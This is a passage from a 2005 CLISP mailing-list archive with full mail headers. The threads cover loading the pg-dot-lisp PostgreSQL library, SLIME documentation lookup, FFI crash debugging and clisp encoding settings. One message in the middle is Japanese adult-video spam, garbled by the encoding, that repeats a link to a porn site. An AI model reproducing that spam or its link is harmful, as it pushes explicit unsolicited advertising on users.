pg-dot-lisp-0.19.tgz, and try to load an > example code (pg-tests.lisp). But, unfortunately, "PG" > didn't recognize :( > Iam really confused. Please help me. > > thanks for the answer (load (compile-file "defpackage.lisp")) (load (compile-file "sysdep.lisp")) (load (compile-file "pg.lisp")) ;; or just: (load "defpackage.lisp") (load "sysdep.lisp") (load "pg.lisp") ;; or just: (asdf:operate 'asdf:load-op :pg) ;; then: (use-package "POSTGRESQL") (with-pg-connection (conn ...) (with-pg-transaction conn (pg-exec "DROP TABLE test_date")) -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From kavenchuk@jenty.by Thu Aug 04 01:59:34 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0bZY-0000ID-3J for clisp-list@lists.sourceforge.net; Thu, 04 Aug 2005 01:59:28 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E0bZV-0004P7-GG for clisp-list@lists.sourceforge.net; Thu, 04 Aug 2005 01:59:28 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PDJ16GS7; Thu, 4 Aug 2005 11:59:46 +0300 Message-ID: <42F1D92C.4080109@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: slime patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 4 02:01:24 2005 X-Original-Date: Thu, 04 Aug 2005 12:00:28 +0300 Sam Steingold wrote: > it was wrong before, it is wrong now. > > (documentation symbol 'sys::file) is what you need. > Thanks! This will work with older clisp version? -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Thu Aug 04 13:31:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0mMz-0007w0-DC for clisp-list@lists.sourceforge.net; Thu, 04 Aug 2005 13:31:13 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E0mMv-0001tM-Ev for clisp-list@lists.sourceforge.net; Thu, 04 Aug 2005 13:31:13 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1E0mMR-0000vy-Nt for clisp-list@lists.sourceforge.net; Thu, 04 Aug 2005 22:30:43 +0200 Received: from gw1-ss-fe0.spikesource.com ([209.10.209.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Aug 2005 22:30:39 +0200 Received: from ssinghi by gw1-ss-fe0.spikesource.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 04 Aug 2005 22:30:39 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 37 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: gw1-ss-fe0.spikesource.com User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b21 (corn, linux) Cancel-Lock: sha1:ARQvQB3G9nUAIPbPdzrXck2k6PE= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI debugging and crashing support - Thanks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 4 13:32:16 2005 X-Original-Date: Thu, 04 Aug 2005 12:45:49 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-08-02 21:58:16 -0700]: >> >> Sam Steingold writes: >> >>>> * Surendra Singhi [2005-07-31 00:27:55 -0700]: >>>> >>>> Is there any way (flags, tools), which I can use to avoid clisp from >>>> crashing, also get better error checking and more warnings? >>> >>> >>> > all your DEF-CALL-OUT forms have a (:LIBRARY ...) argument, right? > comment it out and then re-compile wxToolBar.lisp. > Yes, indeed that was the case, commenting and recompiling fixed it. Thanks once again. >> [2]when clisp crashes it does not generates any core dump file, is >> there any way I can get the stack trace or some information on why did >> it crash or what made it crash, or make it generate a core dump? > > running under a debugger (e.g., gdb) should help. > I don't know how to tell windows to generate core dumps. > in my experience it does generate "stacktrace" files (smallish ASCII > files with number that I don't know how to interpret). > I will try that. Regards, -- Surendra Singhi http://www.spikesource.com http://www.public.asu.edu/~sksinghi/index.html From mmagservicex@yahoo.com Fri Aug 05 02:08:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0yBk-0004Vw-Ce for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 02:08:24 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E0yBi-00015i-1E for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 02:08:24 -0700 Received: from 185.183.150.220.ap.yournet.ne.jp ([220.150.183.185] helo=externalmx-1.sourceforge.net) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1E0yBh-0005nM-2D for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 02:08:21 -0700 From: =?ISO-2022-JP?B?GyRCJWAhPCVTITwlVyVsJTkbKEI8bW1hZ3NlcnZpY2V4QHlhaG9vLmNv?= =?ISO-2022-JP?B?bT4=?= To: clisp-list@lists.sf.net Message-ID: X-Spam-Score: 1.3 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 DATE_MISSING Missing Date: header 0.3 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_DOLLAR BODY: Text interparsed with $ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_PERCENT BODY: Text interparsed with % 0.0 SF_CHICKENPOX_DOLLAR BODY: Text interparsed with $ 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? Subject: [clisp-list] =?ISO-2022-JP?B?GyRCQUc/TUYwMmgbKEJEWBskQiRHNHw0VjhCRGolbCUiRjAyaCRyGyhC?= =?ISO-2022-JP?B?GyRCJTIlQyVIGyhC?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 5 02:11:28 2005 X-Original-Date: Fri Aug 5 02:09:32 2005 „¡¨ ‘flƒAƒ_ƒ‹ƒg“®‰æ „¥„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ[ 2005”N8ŒŽ‘æ1T† ] « @Ÿ„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„±„ª„­ @„«@@@ŠúŠÔŒÀ’èI¡‚¾‚¯”zMIIŒƒƒŒƒA‘fl“®‰æII@@@@@@@„« @„¯„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ª„³„ªŸ @@@š@’´ƒJƒƒCƒC‘fl“®‰æ‚¾‚¯‚ªW‚Ü‚Á‚Ă܂·II @@@@@@@–{l‚m‚fƒ‚ƒm‚àƒAƒŠ (^^;; “–‘RŠúŠÔŒÀ’èƒfƒX m(_ _)m@š «“s“à–^—Žq‘å3”N¶‚̃ZƒbƒNƒX‚ðŒ©‚é‚ɂ̓Rƒ`ƒ‰ http://caribbean-dx.com/?gbd „¡„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ „ š“Šeì•i‹}‘Iá—ÇŽ¿‚ȃ€[ƒr[‚¾‚¯‚ð‘I‚è‚·‚®‚è‚Å’ñ‹Ÿâ „¤„Ÿ @@¡‰ñ“Šeì•i‚ðW‚߂邽‚ß‚Ìì킪‘嬌÷‚µ‚Ä‚µ‚Ü‚¢‚Ü‚µ‚½ @@¡‚܂ł̓Šeì•i‚ÍŠî–{“I‚ÉuƒnƒŽB‚èD‚«v‚ÉŒÀ’肳‚ê‚Ä @@‚¢‚Ü‚µ‚½‚ªA‚â‚Í‚èƒJƒƒ‰‚ªD‚«‚Èl‚½‚¿‚Ȃ̂ÅA’†‚É‚Í @@‚È‚¦‚Ä‚µ‚Ü‚¤ì•i‚à”‘½‚­‚ ‚è‚Ü‚µ‚½B @@‚µ‚©‚µ¡‰ñ‚Í¡‚Ü‚ÅuƒnƒŽB‚èv‚È‚Çl‚¦‚½‚±‚Æ‚à‚È‚¢’j— @@‚ւ̃Aƒvƒ[ƒ`‚ª¬Œ÷‚µ‚Ü‚µ‚½ô @@‚»‚Ì‚½‚ßAƒrƒbƒNƒŠ‚·‚é‚قǃJƒƒCƒCƒR‚̃ZƒbƒNƒX‚ðŒ©‚Ä @@‚¢‚½‚¾‚­‚±‚Æ‚ª‰Â”\‚ɂȂè‚Ü‚µ‚½(^O^)^ http://caribbean-dx.com/?gbd „¡„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ „ š‰Ä‚̓ZƒbƒNƒX·‚肾‚­‚³‚ñ@á‘å’_‚È‹G߂̊댯‚ȃGƒbƒ`â „¤„Ÿ @@‚à‚¤Žn‚Ü‚Á‚Ă܂·B‰Ä‚È‚ç‚ł̗͂ŒðÕ‚èI @@ŋ߂ÍAƒoƒJ”ÞŽ‚É“±‚©‚ê‚ÄA–{“–‚ɃEƒu‚»‚¤‚ÈA‚©‚í‚¢‚¢ @@–º‚ªŽQ‰Á‚µ‚Ä‚é‚ñ‚Å‚·‚Ë`B @@“–‘R—Œð‚Ƃ͂¢‚¦AƒJƒƒCƒC”Þ—‚ÉUŒ‚‚ÍW’†I @@‚ ‚Á‚Æ‚¢‚¤ŠÔ‚ɑ̒†‚ð†‚Ü‚ê‚é‚íAär‚ß‚ç‚ê‚é‚íA‚³‚ç‚É @@‘S‚Ă̂¨Œû‚É–_‚ð“Ë‚Áž‚Ü‚ê‚ăRƒX‚ç‚ê‚Ä‚µ‚Ü‚Á‚Ä‚¢‚Ü‚·B @@‚©‚í‚¢‚¢–º‚Ȃ̂ÉA‚Ù‚Ú—Ö›ó‘Ô¥¥¥B http://caribbean-dx.com/?gbd „¡„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ„Ÿ „ š‘ål‹CI‘fl—«‚Ì’²‹³ƒZƒbƒNƒXá‘f‚ÌƒŠƒAƒNƒVƒ‡ƒ“‚ÉŠ´—Üâ „¤„Ÿ @@‚±‚̃VƒŠ[ƒY‚Ì“Á’¥‚ÍAŽdŽ–‚Å’…‚Ä‚¢‚éu§•žv’…—p‚Å @@ƒvƒŒƒC‚ð‚·‚é‚Æ‚±‚ë‚Å‚·B @@ƒ}›ƒhƒi›ƒh‚̃~ƒjƒXƒJ[ƒg‚̉º‚©‚çŽè‚ðL‚΂·¥¥¥ƒAƒ“ƒ~› @@‚̧•ž‚Ì’§”­“I‚È‹¹‚ÉG‚ê‚Ă݂饥¥ƒh›ƒ‚ƒVƒ‡ƒb›‚̧•ž‚É @@›››II¥¥¥‚ȂǓú‚²‚뎄‚½‚¿‚ªi-_-;; Žv‚Á‚Ä‚¢‚邱‚Æ‚ð @@ŽÀŒ»‚µ‚Ä‚¢‚Ü‚·B @@ƒvƒŒƒC‚ª‰ß”M‚µ‚Ă৕ž‚Í’E‚ª‚¹‚Ü‚¹‚ñB @@ÅŒã‚ÍŽv‚¢‚Á‚«‚èA‰½‰ñ‚àA§•ž‚Ìã‚É‚©‚¯‚Ä‚µ‚Ü‚¢‚Ü‚·II http://caribbean-dx.com/?gbd ¡ƒƒbƒZ[ƒW‚Ì‘ŠŽè‚ÉŠo‚¦‚ª‚È‚¢•û‚Ö ..¡ ‚ ‚È‚½‚ªƒƒbƒZ[ƒW‚Ì‘ŠŽè‚ÉŠo‚¦‚ª‚È‚¢ê‡Aƒ[ƒ‹ƒAƒhƒŒƒX‚ðŠÔˆá‚¦‚Ä ‘—M‚³‚ê‚Ä‚¢‚é‰Â”\«‚ª‚ ‚è‚Ü‚·B ‘å•Ï‚¨Žè”‚ł͂²‚´‚¢‚Ü‚·‚ªŠÔˆá‚Á‚ÄЉ‚ꂽꇂ͂±‚̃[ƒ‹‚ð휂µ‚ĉº‚³‚¢B http://caribbean-dx.com/?gbd „ª   „ª„ª   „ª„ª   „ª„ª   „ª„ª   „ª„ª    w@‘f@l@ŒÀ@’è@“®@‰æ@”z@M@x “oê‚·‚é—«‚Ì”N—î‘w‚ÍA20Αä‘O”¼‚ðŽ²‚É‚µ‚Ä‚¢‚Ü‚·B ‚»‚Ì‚½‚ßE‹Æ‚ÍA—Žq‘å¶EOLEƒtƒŠ[ƒ^[‚ªŠî–{‚Å‚·B ƒvƒŒƒC‚Ì“à—e‚Í—lX‚Å‚·B ƒm[ƒ}ƒ‹‚̔ގ‚Æ‚ÌSEX‹L˜^‚©‚çA—F’B‚̔ގ”Þ—‚ð‰Á‚¦‚½ƒXƒƒbƒsƒ“ƒOA ‹­§ƒŒƒYAƒRƒXƒvƒŒ{SMƒvƒŒƒCA3PE4P‚ ‚½‚è‚Ü‚¦‚Å‚·B ‘fl“®‰æ‚É‚ ‚肪‚¿‚ÈAuŠm‚©‚É‘fl‚¾‚¯‚Ç‚³¥¥¥_Q|P|› v‚Æ‚¢‚¤ ‚悤‚ȃKƒbƒJƒŠŒn‚Ì“®‰æ‚͂ł«‚邾‚¯”rœ‚µ‚Ü‚µ‚½I ‚º‚ЃRƒR‚Å¡”ӂ̃IƒJƒY‚ð”­Œ©‚µ‚Ä‚­‚¾‚³‚¢‚Ë(EÍE) „ª   „ª„ª   „ª„ª   „ª„ª   „ª„ª   „ª„ª    lIDSTnlibn From kania_potter@yahoo.com Fri Aug 05 06:54:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E12ej-0007H7-Si for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 06:54:37 -0700 Received: from web30405.mail.mud.yahoo.com ([68.142.200.108]) by mail.sourceforge.net with smtp (Exim 4.44) id 1E12ei-0000RJ-A9 for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 06:54:38 -0700 Received: (qmail 19998 invoked by uid 60001); 5 Aug 2005 13:54:25 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=pKa/fLyehoo5BN/KNJiJIOqTaNa9qy0tf+fR6WTyO0O2/Ht2hRS8a9Egf9qA+bsHTVj6K2EOsw9LMUdDPsQgu27Nyop8bRfFkKqXwSTCawGMNWT4T7IzREkinlwWoEDKuzBm4txMwOrPdnmlS/WoPUfye5xeYpvY8H0vuvAkeoU= ; Message-ID: <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> Received: from [202.95.157.18] by web30405.mail.mud.yahoo.com via HTTP; Fri, 05 Aug 2005 06:54:25 PDT From: Kania Potter Reply-To: kania_potter@yahoo.com Subject: Re: [clisp-list] connect to database postgresql To: clisp-list@lists.sourceforge.net In-Reply-To: <17136.62347.712663.634272@thalassa.informatimago.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 5 06:57:33 2005 X-Original-Date: Fri, 5 Aug 2005 06:54:25 -0700 (PDT) Thanks for all information. But, every time I run clisp, I got the following output: *** - invalid byte #xF8 in CHARSET:UTF-8 conversion, not a Unicode-16. I search in google and find about this problem too and how to solve it. I try it, but, same message again : *** - invalid byte #xF8 in CHARSET:UTF-8 conversion, not a Unicode-16. And I don't know how to solve it...... Where Iam wrong??? Thanks for the answer. regards, kania --- Pascal Bourguignon wrote: > Kania Potter writes: > > Thanks for u'r information Mr. Jörg Höhle. But I > still > > have a problem. I try to load again my program, > but > > the same error message "PG" didn't recognize. I've > > done extract pg-dot-lisp-0.19.tgz, and try to > load an > > example code (pg-tests.lisp). But, unfortunately, > "PG" > > didn't recognize :( > > Iam really confused. Please help me. > > > > thanks for the answer > > (load (compile-file "defpackage.lisp")) > (load (compile-file "sysdep.lisp")) > (load (compile-file "pg.lisp")) > > ;; or just: (load "defpackage.lisp") (load > "sysdep.lisp") (load "pg.lisp") > ;; or just: (asdf:operate 'asdf:load-op :pg) > > ;; then: > (use-package "POSTGRESQL") > (with-pg-connection (conn ...) > (with-pg-transaction conn > (pg-exec "DROP TABLE test_date")) > "Draco dormiens nunquam titillandus" __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com From pjb@informatimago.com Fri Aug 05 07:24:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E137d-0000Uw-5z for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 07:24:29 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E137a-0008BP-4p for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 07:24:29 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id E4619585D3; Fri, 5 Aug 2005 16:24:11 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 66856585C8; Fri, 5 Aug 2005 16:24:09 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 1969710FBF3; Fri, 5 Aug 2005 16:24:09 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17139.30345.51253.778377@thalassa.informatimago.com> To: kania_potter@yahoo.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] connect to database postgresql In-Reply-To: <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> References: <17136.62347.712663.634272@thalassa.informatimago.com> <20050805135425.19996.qmail@web30405.mail.mud.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 5 07:25:25 2005 X-Original-Date: Fri, 5 Aug 2005 16:24:09 +0200 Kania Potter writes: > Thanks for all information. > But, every time I run clisp, I got the following > output: > > *** - invalid byte #xF8 in CHARSET:UTF-8 conversion, > not a Unicode-16. > > I search in google and find about this problem too and > how to solve it. I try it, but, same message again : > *** - invalid byte #xF8 in CHARSET:UTF-8 conversion, > not a Unicode-16. > And I don't know how to solve it...... > > Where Iam wrong??? You're not managing the encodings. For the database interaction with the package PG, you must ensure that the database, and clisp use the same encoding to communicate. For example, I use unicode for both, so I create the data base with: createdb -E UNICODE $DBNAME "$DBDESCRIPTION" and I indicate to the PG package the encoding to be expected as: (setf *pg-client-encoding* "UNICODE") For normal clisp oeprations, there are these symbol-macros to specify the encoding you're using: (DEFUN LSENCODING () (FORMAT T "~%~{~32A ~A~%~}~%" (LIST 'CUSTOM:*DEFAULT-FILE-ENCODING* CUSTOM:*DEFAULT-FILE-ENCODING* 'CUSTOM:*FOREIGN-ENCODING* CUSTOM:*FOREIGN-ENCODING* 'CUSTOM:*MISC-ENCODING* CUSTOM:*MISC-ENCODING* 'CUSTOM:*PATHNAME-ENCODING* CUSTOM:*PATHNAME-ENCODING* 'CUSTOM:*TERMINAL-ENCODING* CUSTOM:*TERMINAL-ENCODING* 'SYSTEM::*HTTP-ENCODING* SYSTEM::*HTTP-ENCODING*)) (VALUES)) For example, if you terminal sends character in the iso-8859-1 encoding, you must tell it to clisp, either on the command line, or in ~/.clisprc.lisp or later: clisp -Eterminal iso-8859-1 or: (setf CUSTOM:*TERMINAL-ENCODING* charset:iso-8859-1) Similarly for matching the encoding of the file pathnames, or the default encoding for file contents, or for FFI (foreign function interface), etc. If you use the same encoding everywhere, you can do it at once with: clisp -E iso-8859-1 (but you still need to set separately the encoding used by PG, or any other package that implement explicit encoding conversions specifically). -- __Pascal Bourguignon__ http://www.informatimago.com/ I need a new toy. Tail of black dog keeps good time. Pounce! Good dog! Good dog! From sds@gnu.org Fri Aug 05 07:57:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E13dF-0001q6-Oe for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 07:57:09 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E13dE-0007uh-4p for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 07:57:10 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j75EuuZ2002424; Fri, 5 Aug 2005 10:56:56 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42F1D92C.4080109@jenty.by> (Yaroslav Kavenchuk's message of "Thu, 04 Aug 2005 12:00:28 +0300") References: <42F1D92C.4080109@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: slime patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 5 07:59:06 2005 X-Original-Date: Fri, 05 Aug 2005 10:56:15 -0400 > * Yaroslav Kavenchuk [2005-08-04 12:00:28 +0300]: > > Sam Steingold wrote: > >> it was wrong before, it is wrong now. >> >> (documentation symbol 'sys::file) is what you need. >> > > Thanks! > > This will work with older clisp version? it should. -- Sam Steingold (http://www.podval.org/~sds) running w2k .ACMD setaloiv siht gnidaeR From sds@gnu.org Fri Aug 05 07:59:24 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E13fQ-0001uO-Ng for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 07:59:24 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E13fQ-0008To-Bu for clisp-list@lists.sourceforge.net; Fri, 05 Aug 2005 07:59:25 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j75ExGOE002842; Fri, 5 Aug 2005 10:59:16 -0400 (EDT) To: clisp-list@lists.sourceforge.net, 